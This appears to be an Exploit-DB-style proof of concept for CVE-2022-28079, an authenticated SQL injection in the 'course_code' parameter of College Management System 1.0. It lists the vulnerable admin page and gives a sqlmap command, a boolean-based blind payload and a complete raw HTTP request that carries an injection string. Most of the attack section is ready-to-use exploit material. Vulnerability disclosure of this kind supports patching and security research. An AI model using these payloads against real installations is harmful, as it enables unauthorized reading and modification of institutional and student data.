College Management System 1.0 – ‘course_code’ SQL Injection (Authenticated)
# Exploit Title: College Management System - 'course_code' SQL Injection (Authenticated) # Date: 2022-24-03 # Exploit Author: Eren Gozaydin # Vendor Homepage: https://code-projects.org/college-management-system-in-php-with-source-code/ # Software Link: https://download.code-projects.org/details/1c3b87e5-f6a6-46dd-9b5f-19c39667866f # Version: 1.0 # Tested on: Windows 10 Pro + PHP 8.0.11, Apache 2.4.51 # CVE: CVE-2022-28079 # References: https://nvd.nist.gov/vuln/detail/CVE-2022-28079 ------------------------------------------------------------------------------------ 1. Description: ---------------------- College Management System 1.0 allows SQL Injection via parameter 'course_code' in /College-Management-System/admin/asign-single-student-subjects.php. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 2. Proof of Concept: ---------------------- In Burpsuite intercept the request from the affected page with 'course_code' parameter and save it like poc.txt Then run SQLmap to extract the data from the database: sqlmap -r poc.txt --dbms=mysql 3. Example payload: ---------------------- boolean-based blind Payload: submit=Press&roll_no=3&course_code=-6093' OR 2121=2121 AND 'ddQQ'='ddQQ 4. Burpsuite request: ---------------------- POST /College-Management-System/admin/asign-single-student-subjects.php HTTP/1.1 Host: localhost Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-us,en;q=0.5 Cache-Control: no-cache Content-Length: 80 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=jhnlvntmv8q4gtgsof9l1f1hhe Referer: http://localhost/College-Management-System/admin/asign-single-student-subjects.php User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36 submit=Press&roll_no=3&course_code=Select+Course%27+OR+1%3d1+OR+%27ns%27%3d%27ns |